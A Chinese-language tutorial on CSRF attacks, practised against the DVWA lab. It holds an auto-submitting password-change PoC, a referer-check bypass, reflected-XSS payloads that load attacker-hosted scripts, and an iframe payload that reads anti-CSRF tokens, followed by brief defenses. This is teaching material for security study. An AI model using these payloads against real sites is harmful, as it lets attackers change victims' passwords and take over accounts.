簡述
CSRF:Cross-site request -forgery,跨站請求偽造,是一種web攻擊方式,是由于網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要訪問這個網站,都會默認你已經登錄。
危害
攻擊者可以利用你的身份,以你的名義發送惡意請求。cerf能夠做的事情包括:以你的名義發送郵件,發信息,盜取你的賬號,甚至購買商品,虛擬商品轉賬
CSRF之POC制作
測試環境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打開要測試的頁面,burpsuit攔截
右鍵,找到下圖的東西
點擊Generate CSRF Poc
由于burp生成的poc需要點擊按鈕才能觸發 用戶很難上當受騙 這里用js添加一個自動點擊事件,
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><iframe name="target" style="display: none;"></iframe><!--iframe將作為跳轉的接收頁,為了隱藏我們使用display:none,不顯示--><form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target"><input type="hidden" name="password_new" value="123456" /><input type="hidden" name="password_conf" value="123456" /><input type="hidden" name="Change" value="Change" /></form><script>var form = document.getElementById("form");form.submit();</script></body>
</html>
將此html放在自己服務器上,保證能訪問到,dvwa這邊處于登陸狀態,然后使用同一瀏覽器,訪問剛剛構造的POC,DVWA默認的密碼為password
http://IP/csrf/csrf.html
密碼成功修改
2、csrf繞過referer驗證
很多網站會通過驗證referer是否合法來判斷是否是用戶操作,但是他可能只是驗證referer中是否
包含該網站的referer。如DVWA的判斷原理是取出請求中的referer值,然后將host的值取出,然
后判斷在referer值中有沒有出現host值,如果出現則認為是正常請求,否則就拒絕請求。
繞過思路:將攻擊文件的文件名改為該網站的域名(請求時的host值).
3、結合XSS
構造我們的payload,使用DVWA的反射型XSS測試
<script src="x" onerror=javascript:window.open("http://IP/csrf/csrf.html")></script>
訪問之后,成功修改
另一種方式:
var form = document.createElement('form');
form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
form.target='target';
var pass1 = document.createElement('input');
pass1.name="password_new";
pass1.value = '123456';
var pass2 = document.createElement('input');
pass2.name = 'password_conf';
pass2.value = "123456";
var change = document.createElement('input');
change.name='Change';
change.value='Change';
form.appendChild(pass1);
form.appendChild(pass2);
form.appendChild(change);
document.body.append(form)
form.submit();
payload
<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>
4、csrf結合xss繞過token防御
token作為身份令牌,如果該值足夠隨機,那么安全系數將是很高的,按照這種邏輯這里不應該
存在csrf漏洞,但是如果網站存在XSS漏洞的話,那么這里的token就將形同虛設。我們可以利用
xss獲取到token值,然后利用該值發起請求,從而構造相應從csrf攻擊。但是這里存在一個問
題,那就是同源策略會限制我們的腳本,這里我們只能打出token,然后再誘惑用戶點擊我們構造
的頁面,這樣也會造成危害,但是這里由于token隨機性,可能每次刷新頁面就會失效,所以可
利用的概率就比較小了。
<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')
[0].value)">
防御
- 關鍵操作增加驗證碼
- 驗證referer
- 使用足夠隨機的token